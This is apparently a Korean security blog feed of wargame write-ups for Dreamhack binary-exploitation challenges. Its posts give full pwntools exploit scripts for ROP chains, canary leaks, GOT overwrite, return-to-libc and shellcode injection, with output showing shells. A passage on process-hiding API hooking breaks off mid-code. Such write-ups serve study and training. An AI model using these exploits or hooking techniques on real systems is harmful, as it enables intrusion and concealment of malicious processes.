    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}</code></pre><p>해당 문제의 C 코드는 basic_rop_x64의 코드와 완전히 동일하다.</p>
<h3 id="📢-코드-분석">📢 코드 분석</h3>
<pre><code>read(0, buf, 0x400);</code></pre><p>너무나 당연하게도 buf의 크기는 0x40인데 비해, 0x400을 읽으므로 버퍼 오버플로우라고 생각할 수 있다.</p>
<pre><code>write(1, buf, sizeof(buf));</code></pre><p>여기에 ROP chaining을 하여 payload를 보내면 될 듯 하다.</p>
<h3 id="📢-익스플로잇-설계">📢 익스플로잇 설계</h3>
<p>1) &quot;이전처럼 read_got + 4 를 이용해서 하면 되지 않을까?&quot; 싶지만 x86은 함수 호출 규약이 cdecl, 즉 스택에 인자를 push 한 후, 함수를 호출한다. 그래서 read_got + 4를 작성하면 인자가 잘못 전달될 가능성이 있다.
2) 따라서 bss 영역에 /bin/sh을 작성한 다음, 이후 실습 과정과 동일하게 작성하면 될 듯하다.</p>
<h3 id="📢-익스플로잇-코드-작성">📢 익스플로잇 코드 작성</h3>
<pre><code>from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;,16050)
e = ELF(&quot;./basic_rop_x86&quot;)
libc = ELF(&quot;./libc.so.6&quot;)
r = ROP(e)

write_plt = e.plt[&#39;write&#39;]
write_got = e.got[&#39;write&#39;]
read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
pop_esi = r.find_gadget([&#39;pop esi&#39;,&#39;pop edi&#39;,&#39;pop ebp&#39;,&#39;ret&#39;])[0]
ret = r.find_gadget([&#39;pop ebp&#39;,&#39;ret&#39;])[0]
bss = e.bss()

# buf = ebp - 0x44
payload = b&#39;A&#39;*72


# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)

# read(0,bss,8)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(bss)+p32(8)

# read(1,read_got,...)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(read_got)+p32(4)

# read(&quot;bin/sh&quot;)= system(&quot;bin/sh&quot;)
payload += p32(read_plt)
payload += p32(ret)
payload += p32(bss)

p.send(payload)
p.recvuntil(b&#39;A&#39;*64)
read = u32(p.recvn(4))
lb = read - libc.symbols[&#39;read&#39;]
system = lb + libc.symbols[&#39;system&#39;]

p.send(b&#39;/bin/sh\x00&#39;)
p.sendline(p32(system))
p.interactive()</code></pre><p>결과</p>
<pre><code>[+] Opening connection to host1.dreamhack.games on port 16050: Done
[*] &#39;/home/li-sh/Desktop/dreamhack/basic_rop_x86/basic_rop_x86&#39;
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] &#39;/home/li-sh/Desktop/dreamhack/basic_rop_x86/libc.so.6&#39;
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 9 cached gadgets for &#39;./basic_rop_x86&#39;
[*] Switching to interactive mode
$ ls
basic_rop_x86
flag
libc.so.6
$ cat flag
DH{*******************}</code></pre><hr>
<h2 id="📌-write-up-2">📌 Write up 2</h2>
<p>다른 풀이들을 보니까 이런 방법들도 있어서 시도해보았다.</p>
<h3 id="📢-익스플로잇-설계-1">📢 익스플로잇 설계</h3>
<p>1) read_got의 값을 읽은 후, 다시 main 함수 시작으로 돌아간다.
2) 읽어들인 값으로 read@libc을 구한 후, libc base, system@libc 주소를 구한다.
3) /bin/sh을 bss 영역에 쓰지 않고, libc 안에서 /bin/sh을 찾아서 libc base에서 offset을 더하여 주소를 얻는다.
4) 다시 main 처음으로 돌아갔으므로, 처음부터 payload를 작성한다. 이 때, 버퍼 오버플로우를 시키고, system@libc, /bin/sh 주소를 아니까 바로 payload에 넣으면 된다.</p>
<h3 id="📢-익스플로잇-코드-작성-1">📢 익스플로잇 코드 작성</h3>
<pre><code>from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;,16050)
# p = process(&#39;./basic_rop_x86&#39;)
e = ELF(&quot;./basic_rop_x86&quot;)
libc = ELF(&quot;./libc.so.6&quot;)
r = ROP(e)

write_plt = e.plt[&#39;write&#39;]
read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
pop_esi = r.find_gadget([&#39;pop esi&#39;,&#39;pop edi&#39;,&#39;pop ebp&#39;,&#39;ret&#39;])[0]
ret = r.find_gadget([&#39;pop ebp&#39;,&#39;ret&#39;])[0]
main = e.symbols[&#39;main&#39;]

# buf = ebp - 0x44
payload = b&#39;A&#39;*72

# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)

# ret2main 기법
payload += p32(main)

p.send(payload)
p.recvuntil(b&#39;A&#39;*64)
read = u32(p.recvn(4))
lb = read - libc.symbols[&#39;read&#39;]
binsh = lb + next(libc.search(b&#39;/bin/sh&#39;))
system = lb + libc.symbols[&#39;system&#39;]

log.success(f&quot;Leaked read@libc: {hex(read)}&quot;)
log.success(f&quot;Calculated libc_base: {hex(lb)}&quot;)
log.success(f&quot;Calculated system@libc: {hex(system)}&quot;)
log.success(f&quot;binsh: {hex(binsh)}&quot;)

payload2 = b&#39;A&#39;*72
payload2 += p32(system)
payload2 += p32(ret)
payload2 += p32(binsh) 

p.send(payload2)
p.interactive()</code></pre><p>결과는 똑같다.</p>
<hr>
<p>하나의 문제풀이 방법이 아닌 다양한 방법으로 가능하다는 것이 이 문제의 매력 중 하나인 것 같다. 문제를 풀면서 헷갈렸던 점은, bss 영역은 생각도 하지 못하고, 계속 libc 안에서 /bin/sh을 찾아서 하면 될 것 같다고 생각했었다. 그래도 삽질을 계속 하다보니까 기억엔 오래 남을 것 같다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ROP(Return Oriented Programming)]]></title>
            <link>https://velog.io/@1issang_h/ROPReturn-Oriented-Programming</link>
            <guid>https://velog.io/@1issang_h/ROPReturn-Oriented-Programming</guid>
            <pubDate>Tue, 11 Feb 2025 10:58:13 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-rop란">📌 ROP란?</h2>
<blockquote>
<p>Return Gadget을 사용하여 실행 흐름을 구현하는 기법.
GOT overwrite, return to library, return to dl-resolve 등의 공격 기법을 연쇄적으로 구성하여 ROP payload를 만들 수 있다.</p>
</blockquote>
<hr>
<h2 id="📌-rop를-이용한-워게임-write-up">📌 ROP를 이용한 워게임 Write Up</h2>
<p>해당 문제는 드림핵의 <code>rop</code> 문제를 Write up 한 것이다.</p>
<pre><code>// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts(&quot;[1] Leak Canary&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Do ROP
  puts(&quot;[2] Input ROP payload&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);

  return 0;
}</code></pre><h3 id="📢-코드-분석">📢 코드 분석</h3>
<pre><code>write(1, &quot;Buf: &quot;, 5);
read(0, buf, 0x100);
printf(&quot;Buf: %s\n&quot;, buf);</code></pre><p>이 코드를 통해 <code>buf</code>를 버퍼 오버플로우시켜 Canary Leak 하여 Canary를 얻는다.</p>
<pre><code>write(1, &quot;Buf: &quot;, 5);
read(0, buf, 0x100);</code></pre><p>전에 구했던 Canary 값을 사용하여 이 코드에서 ROP payload를 구성한다.</p>
<h3 id="📢-익스플로잇-설계">📢 익스플로잇 설계</h3>
<p>1) <code>[1] Leak Canary</code>에서 <code>Buf</code>를 입력하여 Canary Leak을 일으킨다.
2) ROP payload를 구성하기 위해 필요한 read_got, read_plt, write_plt, 그리고 ROPgadget을 구한다.
3) 이제 ROP payload를 구성하는 데 chain 과정은 아래와 같다.</p>
<ul>
<li>read 함수의 libc 주소를 구하기 위해 write(1,read_got,...)을 실행한다.</li>
<li>얻은 read@libc 주소로 system@libc 주소를 구한다.</li>
<li>GOT overwrite을 위해 read(0,read_got,...)을 실행한다.</li>
<li>read 함수를 통해 system@libc와 /bin/sh을 입력하여 system@libc로 read의 got를 overwrite한다.</li>
<li>read 함수를 다시 실행하면 read@got에는 system@libc 주소가 있기 때문에 read 함수를 실행하여 system(&quot;/bin/sh&quot;)을 실행한다.</li>
</ul>
<p>이 일련의 과정을 익스플로잇 코드로 짜면 아래와 같다.</p>
<pre><code># rop.py
from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;,19470)
e = ELF(&quot;./rop&quot;)
libc = ELF(&quot;./libc.so.6&quot;)
r= ROP(e)


read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
write_plt = e.plt[&#39;write&#39;]
pop_rdi = r.find_gadget([&#39;pop rdi&#39;,&#39;ret&#39;])[0]
pop_rsi_r15 = r.find_gadget([&#39;pop rsi&#39;,&#39;pop r15&#39;,&#39;ret&#39;])[0]
ret = r.find_gadget([&#39;ret&#39;])[0]


# buf = rbp - 0x40
p.sendafter(b&#39;Buf: &#39;,b&#39;A&#39;*57)
p.recvuntil(b&#39;A&#39;*57)
canary = u64(b&#39;\x00&#39;+p.recv(7))
log.info(hex(canary))

payload = b&#39;A&#39;*56 + p64(canary)+b&#39;B&#39;*8

# write(1,read_got,...) --&gt; read 함수의 libc 주소 찾기
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(read_got)+p64(1)
payload += p64(write_plt)

# read(0,read_got,...)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+ p64(read_got)+p64(0)
payload += p64(read_plt)

# read(&quot;/bin/sh&quot;) == system(&quot;/bin/sh&quot;)
payload += p64(pop_rdi)+p64(read_got+8)
payload += p64(ret)+p64(read_plt)

# read 
p.sendafter(b&#39;Buf: &#39;,payload)
read = u64(p.recv(6)+b&#39;\x00&#39;*2)
lb = read - libc.symbols[&#39;read&#39;]
system = lb + libc.symbols[&#39;system&#39;]
log.info(hex(read))
log.info(hex(lb))
log.info(hex(system))

p.send(p64(system)+b&#39;/bin/sh\x00&#39;)
p.interactive()</code></pre><p>결과</p>
<pre><code>[+] Opening connection to host1.dreamhack.games on port 19470: Done
[*] &#39;/home/li-sh/Desktop/dreamhack/rop/rop&#39;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] &#39;/home/li-sh/Desktop/dreamhack/rop/libc.so.6&#39;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 14 cached gadgets for &#39;./rop&#39;
[*] 0xa8dcc8aa6ebf5900
[*] 0x7fa860186980
[*] 0x7fa860072000
[*] 0x7fa8600c2d60
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{***************************}</code></pre><hr>
<p>이 원리 이해하는 데 엄청 오래 걸렸다. 특히 &quot;<code>read(0,read_got,...)</code>에서 입력을 받아야 하는데 언제 입력을 받지?&quot; 이거 때문에 엄청 헷갈렸던 것 같다. 그리고 libc, plt, got 주소가 서로서로 헷갈리게 사용하고 있었던 것도 헷갈린 요소였다. 
결론 : 원리를 이해해도 다양한 문제에 적용 할 수 있게 다양한 문제들로 연습해야 겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Canary 보호 기법]]></title>
            <link>https://velog.io/@1issang_h/Canary-%EB%B3%B4%ED%98%B8-%EA%B8%B0%EB%B2%95</link>
            <guid>https://velog.io/@1issang_h/Canary-%EB%B3%B4%ED%98%B8-%EA%B8%B0%EB%B2%95</guid>
            <pubDate>Mon, 10 Feb 2025 07:55:06 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-canary란">📌 Canary란?</h2>
<blockquote>
<p>함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 에필로그에서 값의 변조를 확인하여 버퍼 오버플로우를 막는 보호 기법.<img src="https://velog.velcdn.com/images/1issang_h/post/7e69eabc-e5cb-4a56-b7c2-c4990cc0971b/image.png" alt=""></p>
</blockquote>
<hr>
<h2 id="📌-canary-유무-비교">📌 Canary 유무 비교</h2>
<ol>
<li><p>checksec으로 활성화된 보호 기법 확인
<img src="https://velog.velcdn.com/images/1issang_h/post/b51d5c47-ed0c-4b28-90d7-b2a6937349c6/image.png" alt="">
확인해 보면 Canary, RELRO, PIE가 적용되어있는 것을 확인 할 수 있다.</p>
</li>
<li><p>함수의 프롤로그와 에필로그 확인
Canary가 적용되기 전과 후의 코드를 비교하면 아래의 코드들이 추가되었다.</p>
<ul>
<li>프롤로그
<img src="https://velog.velcdn.com/images/1issang_h/post/ac87a313-7bb0-40e3-8767-687569060059/image.png" alt=""></li>
<li>에필로그
<img src="https://velog.velcdn.com/images/1issang_h/post/5577bd87-7a03-4914-ac29-c3db4d415f6b/image.png" alt=""></li>
</ul>
</li>
</ol>
<h3 id="📢-코드-분석">📢 코드 분석</h3>
<p>프롤로그 코드를 보면 <code>fs</code> 레지스터가 나온다.이 <code>fs:0x28</code>에 랜덤한 값이 생성되고 그 값을 <code>rax</code>에 저장된다. 다시 <code>rax</code>값은 <code>rbp-0x8</code>에 저장된다.</p>
<blockquote>
<p><code>fs</code>는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터로, 리눅스에서는 <code>TLS</code>(Thread Local Storage)를 가리키는 포인터로 사용한다.</p>
</blockquote>
<p>에필로그 코드를 보면 <code>rbp-0x8</code>에 저장한 <code>fs:0x28</code> 값을 <code>rcx</code>에 저장한다. 그리고는 <code>rbp-0x8</code>과 <code>fs:0x28</code>값을 xor 시킨다. xor을 하였을 때, 두 값이 같으면 ZF=1이 될 것이고, 다르면 ZF=0이 나올 것이다. 이 값으로 JE 분기구문을 실행해서 만약 두 값이 같으면(변조가 되지 않았으면) 버퍼 오버플로우가 일어나지 않은 것으로 간주한다. 다르면 버퍼 오버 플로우가 일어난 것으로 간주하고 <code>__stack_chk_fail@plt</code>를 실행하고 프로세스가 강제 종료된다.</p>
<hr>
<h2 id="📌-canary-생성-과정">📌 Canary 생성 과정</h2>
<p>앞에서 살펴봤듯이, <code>fs:0x28</code>에 저장되고, <code>fs</code>는 <code>TLS</code>를 가리킨다. 우리는 <code>fs</code>의 주소를 알면 canary값을 구할 수 있고, 이를 통해 Canary 보호 기법을 우회 할 수 있다.
그러나 <code>fs</code>는 <code>cs,ss,ds</code>와 같이 <code>info register fs</code>나 <code>print $fs</code>를 통해 값을 알 수 없다.</p>
<p>따라서 우리는 <code>fs</code>값을 설정할 때 호출되는 <code>arch_prctl(int code, unsigned long addr)</code> 시스템 콜에 중단점을 설정하여 <code>fs</code>에 어떤 값으로 설정되는지 확인할 수 있다.</p>
<p><code>catch syscall arch_prctl</code> 명령어를 gdb에 입력하여 TLS 과정까지 진행한다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/4c03854b-bfb9-476c-bac5-bd487bd9af31/image.png" alt="">
이 TLS 과정에서 <code>RDI</code> = 0x1002를 가리키는데 이 값은 <code>ARCH_SET_FS</code>의 상수값이다. 그리고 <code>RSI</code> = 0x7ffff7fa8740을 가리키는데 이 값이 <code>fs</code>를 가리키게 되는 값이다.</p>
<hr>
<h2 id="📌-canary-우회-관련-워게임-write-up">📌 Canary 우회 관련 워게임 Write Up</h2>
<p>해당 문제는 드림핵의 <code>Return to Shellcode</code> 문제를 Write up 한 것이다.</p>
<pre><code>// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

int main() {
  char buf[0x50];

  printf(&quot;Address of the buf: %p\n&quot;, buf);
  printf(&quot;Distance between buf and $rbp: %ld\n&quot;,
         (char*)__builtin_frame_address(0) - buf);

  printf(&quot;[1] Leak the canary\n&quot;);
  printf(&quot;Input: &quot;);
  fflush(stdout);

  read(0, buf, 0x100);
  printf(&quot;Your input is &#39;%s&#39;\n&quot;, buf);

  puts(&quot;[2] Overwrite the return address&quot;);
  printf(&quot;Input: &quot;);
  fflush(stdout);
  gets(buf);

  return 0;
}</code></pre><h3 id="📢-코드-분석-1">📢 코드 분석</h3>
<pre><code>printf(&quot;Address of the buf: %p\n&quot;, buf);
  printf(&quot;Distance between buf and $rbp: %ld\n&quot;,
         (char*)__builtin_frame_address(0) - buf);</code></pre><p>이 코드를 통해 <code>buf</code>의 주소, <code>rbp</code>와 <code>buf</code>사이의 주소 차이를 확인 한다.</p>
<pre><code>read(0, buf, 0x100);
  printf(&quot;Your input is &#39;%s&#39;\n&quot;, buf);</code></pre><p>이 코드에서 <code>buf</code>는 0x50의 크기인데 0x100을 입력 받기 때문에 버퍼 오버플로우가 발생한다는 것을 알 수 있다.</p>
<h3 id="📢-익스플로잇-설계">📢 익스플로잇 설계</h3>
<p><code>[1] Leak the canary</code> 부분에서 <code>Buf</code>를 0x58만큼 dummy 값을 입력하여 Canary 직전까지 입력한다음, Canary값을 printf 문을 통해 입력받는다.
<code>[2] Overwrite the return address</code> 부분을 통해 <code>Buf</code>에 쉘코드를 입력하고, Canary, <code>SFP</code>를 모두 적절하게 입력한다. 그리고 RET 주소에 <code>buf</code> 주소를 입력하여 쉘코드를 실행시킨다. 이런 알고리즘으로 익스플로잇 코드를 작성하면 아래와 같다.</p>
<pre><code># r2s.py
from pwn import *

def slog(name,addr): return success(&#39; : &#39;.join([name,hex(addr)]))

context.arch = &quot;amd64&quot;
p = remote(&quot;host1.dreamhack.games&quot;, 16192)
shellcode = asm(shellcraft.sh())

p.recvuntil(b&#39;buf: &#39;)
buf =  int(p.recvline()[:-1],16)    
slog(&#39;buf&#39;,buf)

p.sendafter(b&#39;Input: &#39;,b&#39;A&#39;*89)
p.recvuntil(b&quot;A&quot; *89)
canary = u64(b&quot;\x00&quot; + p.recv(7))
slog(&#39;canary&#39;,canary)

payload = shellcode
payload += b&#39;A&#39;*(88-len(shellcode))
payload += p64(canary)
payload += b&#39;A&#39;*8
payload += p64(buf)

p.sendafter(b&#39;Input: &#39;,payload)
p.interactive()</code></pre><p>결과</p>
<pre><code>[+] Opening connection to host1.dreamhack.games on port 16192: Done
[+] buf : 0x7ffc49d28070
[+] canary : 0xb57808214d199e00
[*] Switching to interactive mode
$ ls
$ ls
flag
r2s
$ cat flag
DH{***************************}
[*] Got EOF while reading in interactive</code></pre><hr>
<p>문제 풀다보니 알고리즘은 문제가 없는데, sendlineafter랑 sendafter 등등을 혼용해서 사용하면 가끔식 잘못 페이로드가 보내진다. 이에 주의해서 사용하자.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[RTL(Return-to-Libc) 공격]]></title>
            <link>https://velog.io/@1issang_h/RTLReturn-to-Libc-%EA%B3%B5%EA%B2%A9</link>
            <guid>https://velog.io/@1issang_h/RTLReturn-to-Libc-%EA%B3%B5%EA%B2%A9</guid>
            <pubDate>Fri, 24 Jan 2025 09:34:02 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-rtl이란">📌 RTL이란?</h2>
<blockquote>
<p>스택에 NX(No eXecutable stack) 보안 기법이 적용되었을 때 사용하는 공격 기법이다.</p>
</blockquote>
<h3 id="📢-배경">📢 배경</h3>
<p>NX 보안 기법은 &quot;스택에서 코드 실행 불가&quot;라는 제약 조건을 만들었고, 이로 인해 스택에서 shellcode를 삽입하고 RET 주소에 overwrite했던 &#39;Return to Shellcode&#39; 기법은 실패하게 된다. </p>
<h3 id="📢-간단-동작-원리">📢 간단 동작 원리</h3>
<p>1줄 요약</p>
<ul>
<li>공유 라이브러리 함수의 주소를 가져와 RET에 overwrite하고 이를 호출하는 공격 기법 --&gt; 스택에서 사용하는 것이 아닌 메모리에 적재되어 있는 라이브러리를 사용하는 것이기 때문에 NX 우회 가능</li>
</ul>
<h3 id="📢-예제-write-up">📢 예제 Write-up</h3>
<p>해당 문제는 Dreamhack의 <code>Return to library</code>의 문제를 write-up 한 과정이다.</p>
<pre><code>// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

const char* binsh = &quot;/bin/sh&quot;;

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt&#39;s entry
  system(&quot;echo &#39;system@plt&quot;);

  // Leak canary
  printf(&quot;[1] Leak Canary\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Overwrite return address
  printf(&quot;[2] Overwrite return address\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);

  return 0;
}</code></pre><p>이 C코드를 보면 buf의 크기는 0x30인데 read할때는 0x100으로 읽는다. 이를 통해 BOF가 발생할 수 있고 이를 기반으로 우회 기법의 종류를 파악해야 한다.</p>
<p>해당 c코드의 응용 프로그램 파일에 사용된 기법을 보면 아래와 같다.</p>
<pre><code>***@***-virtual-machine:~/바탕화면/dreamhack$ checksec ./rtl
[*] &#39;/home/***/바탕화면/dreamhack/rtl&#39;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No</code></pre><p>Canary와 NX기법이 적용되어있다. </p>
<pre><code>// Leak canary
  printf(&quot;[1] Leak Canary\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);</code></pre><p>이 코드를 통해 buf ~ canary+1까지 dummydata를 넣고 그 이후의 값을 읽어 들이면 canary의 값을 읽어들일 수 있을 것이다. 이를 통해 Canary 기법을 우회할 수 있다.</p>
<pre><code>// Overwrite return address
  printf(&quot;[2] Overwrite return address\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);</code></pre><p>Canary값을 알았으면 이제 return to library 값을 입력한다. 정상적인 스택값과 RTL 공격을 위한 BOF 스택 구조를 비교하면 아래와 같다.</p>
<pre><code>----------------------------
|       buf ( 48 bytes)    |
----------------------------
|       SFP ( 8 bytes)     |
----------------------------
|          RET             |
----------------------------
|          ....            |
----------------------------</code></pre><pre><code>----------------------------
|       buf (48 bytes)     |
----------------------------
|       Canary (8 bytes)   |
----------------------------
|       SFP (8 bytes)      |
----------------------------
|       RET (8 bytes)      |
----------------------------
|         /bin/sh          |
----------------------------</code></pre><p>해당 RTL 관련 동작 원리는 아래 사이트에 가면 굉장히 자세하게 설명해준다. RTL 공격 기법의 원리를 이해하려면 <code>leave</code>와 <code>ret</code> 명령어를 잘 보면서 따라가기를 바란다. 아래는 Canary와 RTL 과정을 우회하기 위한 스택 구조를 그린 것이다.</p>
<pre><code>--------------------------
|       &#39;A&#39; * 56        | --&gt; buf (56 byte)
--------------------------
|    0x00 + canary      |
--------------------------
|       &#39;B&#39; * 8         |  --&gt; SFP
--------------------------
|          ret          |
--------------------------
|     pop rdi; ret      |
--------------------------
|       &quot;/bin/sh&quot;       |
--------------------------
|     system@plt        |
--------------------------</code></pre><p>이 때 &#39;<code>ret</code> 없이 <code>pop rdi; ret</code>을 사용하면 되지 않을까?&#39; 싶지만 스택은 0x10단위로 정렬되어야 한다. 정렬되지 않으면 &#39;segmentation fault&#39;가 일어난다.
따라서 해당 payload를 만들어서 pwntools를 이용해서 익스플로잇하면 성공적일 것으로 예상된다.</p>
<pre><code>from pwn import *

# p = process(&#39;./rtl&#39;)
p = remote(&quot;host1.dreamhack.games&quot;,16424)
e = ELF(&#39;./rtl&#39;)
r = ROP(e)

def slog(name,addr): return success(&#39;: &#39;.join([name,hex(addr)]))

# [1] Leak Canary
buf = b&#39;A&#39;*0x39
p.sendafter(b&#39;Buf: &#39;,buf)
p.recvuntil(buf)
canary = u64(b&#39;\x00&#39;+p.recvn(7))
slog(&#39;canary&#39;,canary)

# [2] address
system_plt = e.plt[&#39;system&#39;]
binsh = next(e.search(b&#39;/bin/sh&#39;))
pop_rdi = r.find_gadget([&#39;pop rdi&#39;])[0]
ret = r.find_gadget([&#39;ret&#39;])[0]
slog(&quot;system@plt&quot;,system_plt)
slog(&quot;/bin/sh&quot;,binsh)
slog(&quot;pop rdi&quot;,pop_rdi)
slog(&quot;ret&quot;,ret)

# [3] exploit
payload = b&#39;A&#39;*0x38 + p64(canary) + b&#39;B&#39; * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter(b&#39;Buf: &#39;,payload)

p.interactive()</code></pre><p>해당 익스플로잇 코드를 이용해서 진행하면 아래와 같은 결과가 나온다.</p>
<pre><code>&#39;/home/***/바탕화면/dreamhack/rtl&#39;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loaded 14 cached gadgets for &#39;./rtl&#39;
[+] canary: 0x8debe702db062b00
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[*] Switching to interactive mode
$ ls
flag
rtl
run.sh</code></pre><p>flag를 보면 DH값이 나온다.</p>
<hr>
<p>RTL 원리를 이해하기 위해 참고했던 자료.</p>
<ol>
<li><a href="https://rninche01.tistory.com/entry/RTLReturn-To-Libc">https://rninche01.tistory.com/entry/RTLReturn-To-Libc</a></li>
</ol>
<p>해당 예제를 가장 잘 설명한 자료</p>
<ol>
<li><a href="https://jjeongsu.tistory.com/39">https://jjeongsu.tistory.com/39</a></li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA['Stealth' Process (2)]]></title>
            <link>https://velog.io/@1issang_h/Stealth-Process-2</link>
            <guid>https://velog.io/@1issang_h/Stealth-Process-2</guid>
            <pubDate>Tue, 21 Jan 2025 08:24:11 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-global-api-hooking">📌 Global API Hooking</h2>
<h3 id="📢-조건">📢 조건</h3>
<ol>
<li>현재 실행 중인 모든 프로세스에 대해 API 후킹</li>
<li>앞으로 실행될 모든 프로세스에 대해 API 후킹</li>
</ol>
<h3 id="📢-프로세스-생성-api">📢 프로세스 생성 API</h3>
<ol>
<li><p>kernel32.CreateProcess()
: 새로운 프로세스를 생성할 때 사용되는 API</p>
<pre><code>BOOL CreateProcessA(
[in, optional]      LPCSTR                lpApplicationName,
[in, out, optional] LPSTR                 lpCommandLine,
[in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in]                BOOL                  bInheritHandles,
[in]                DWORD                 dwCreationFlags,
[in, optional]      LPVOID                lpEnvironment,
[in, optional]      LPCSTR                lpCurrentDirectory,
[in]                LPSTARTUPINFOA        lpStartupInfo,
[out]               LPPROCESS_INFORMATION lpProcessInformation
);</code></pre><pre><code>BOOL CreateProcessW(
[in, optional]      LPCWSTR               lpApplicationName,
[in, out, optional] LPWSTR                lpCommandLine,
[in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in]                BOOL                  bInheritHandles,
[in]                DWORD                 dwCreationFlags,
[in, optional]      LPVOID                lpEnvironment,
[in, optional]      LPCWSTR               lpCurrentDirectory,
[in]                LPSTARTUPINFOW        lpStartupInfo,
[out]               LPPROCESS_INFORMATION lpProcessInformation
);</code></pre><p>이 때 CreateProcessA는 ASCII 버전, CreateProcessW는 유니코드 버전 --&gt; 두 API 모두 후킹에 사용해야한다.</p>
</li>
<li><p>WinExec(),ShellExecute(), system()
: 프로세스를 실행시키는 프로세스</p>
</li>
</ol>
<p>--&gt; 내부적으로 CreateProcess() API를 실행시킨다.
--&gt; CreateProcess() API를 후킹하는 것이 low-level hooking에 해당하므로 더 성공률이 높다.</p>
<h3 id="📢-소스-코드-분석">📢 소스 코드 분석</h3>
<p>stealth2.cpp --&gt; DllMain</p>
<pre><code>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;

    // HideProc2.exe 프로세스에는 인젝션 되지 않도록 예외처리
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, &#39;\\&#39;);
    if( (p != NULL) &amp;&amp; !_stricmp(p+1, &quot;HideProc2.exe&quot;) )
        return TRUE;

    // change privilege
    SetPrivilege(SE_DEBUG_NAME, TRUE);

    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH : 
            // hook
            hook_by_code(&quot;kernel32.dll&quot;, &quot;CreateProcessA&quot;, 
                         (PROC)NewCreateProcessA, g_pOrgCPA);
            hook_by_code(&quot;kernel32.dll&quot;, &quot;CreateProcessW&quot;, 
                         (PROC)NewCreateProcessW, g_pOrgCPW);
            hook_by_code(&quot;ntdll.dll&quot;, &quot;ZwQuerySystemInformation&quot;, 
                         (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
            break;

        case DLL_PROCESS_DETACH :
            // unhook
            unhook_by_code(&quot;kernel32.dll&quot;, &quot;CreateProcessA&quot;, 
                           g_pOrgCPA);
